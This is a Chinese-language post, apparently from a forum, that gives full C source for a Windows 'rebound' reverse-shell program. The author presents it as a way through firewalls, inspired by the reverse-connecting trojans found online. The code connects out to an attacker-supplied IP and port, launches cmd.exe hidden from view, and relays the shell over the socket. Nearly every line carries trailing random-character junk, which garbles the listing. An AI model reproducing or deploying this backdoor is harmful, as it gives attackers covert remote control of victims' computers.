这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 _EHz>DJ9
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/* ============================== xD.Uh}:J
Rebound port in Windows NT ;@ <E
By wind,2006/7 k]>1@t
===============================*/ R;d)I^@
#include 3 bK.8
#include Q'
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#pragma comment(lib,"wsock32.lib") r ,cz
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void OutputShell(); &[yW}uV<7
SOCKET sClient; kz!CxI (
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #!.26RM:P
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void main(int argc,char **argv) sOVbz2\yb
{ }R&5Ye
WSADATA stWsaData; U3t$h
int nRet; dgEH]9j&
SOCKADDR_IN stSaiClient,stSaiServer; rd_!'pG
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if(argc != 3) 3*(w=;y
{ Uf,fd
printf("Useage:\n\rRebound DestIP DestPort\n"); @LyCP4
return; b}APD))*H!
} V|\dnVQ'-%
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WSAStartup(MAKEWORD(2,2),&stWsaData); ?+P D?c7
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \8^c"%v,:
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stSaiClient.sin_family = AF_INET; vk><S|[n
stSaiClient.sin_port = htons(0); TC* 78;r
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); X~2L
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Pd8zdzf{
{ FW@(MIH
printf("Bind Socket Failed!\n"); <|=^[' vi
return; 7Zw.mM!i
} KD =W(\
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stSaiServer.sin_family = AF_INET; w,x'FZD
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); DG-XX.:z
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); /idrbc
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Hx?OCGj=S*
{ "i^<
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printf("Connect Error!");
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return; dWi:V7t+
} AuIg=-xR
OutputShell(); 78UE?) X"
} D.ERt)l>
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void OutputShell() X3zpU7`Av+
{ t3 rQ5m
char szBuff[1024]; lF#p1H>\
SECURITY_ATTRIBUTES stSecurityAttributes; YIn
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OSVERSIONINFO stOsversionInfo; B,(zp#&yB
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; xgq
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STARTUPINFO stStartupInfo; ?}ly`Js
char *szShell; EQ%,IK/
PROCESS_INFORMATION stProcessInformation; &|YJ?},
unsigned long lBytesRead; cVf}8qf)
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 6d{&1-@>
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); zI{~;`tzN
stSecurityAttributes.lpSecurityDescriptor = 0; O.z\
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stSecurityAttributes.bInheritHandle = TRUE; i(mQbWpN
s ;2ih)[
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]AB'POa
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); m&a 8/5
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); <HB@j}qi
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LK:J kjp^
stStartupInfo.wShowWindow = SW_HIDE; %U?1Gf e
stStartupInfo.hStdInput = hReadPipe; <5E: ,<
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; JU3to_Io
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GetVersionEx(&stOsversionInfo); $_f"NE}
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switch(stOsversionInfo.dwPlatformId) <44A*ux
{ /C
case 1: *?3c2Jg=E
szShell = "command.com"; ?rxq//S2
break; ZG$PW<73~
default: lPZYd8
szShell = "cmd.exe"; d;hv_h
break; s"JD,gm$
} brEA-xNWQ
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9A,ok[J
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send(sClient,szMsg,77,0); 9Q>85IiT
while(1) h.jO3q
{ p6X-P%s
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 4l'`q+^-
if(lBytesRead) O9ar|8y
{ 3=-V!E
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /Ref54
send(sClient,szBuff,lBytesRead,0); e!=~f%c<N
} '!<gPAVTzV
else $pJw
p{kN
{ 2 9#jKh
lBytesRead=recv(sClient,szBuff,1024,0); i]15g@
if(lBytesRead<=0) break; Q<>b3X>O
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); i:60|ngK
} \b*z<Odv
} u{Gci
/|m0)H.>
return; {s>V'+H(F
}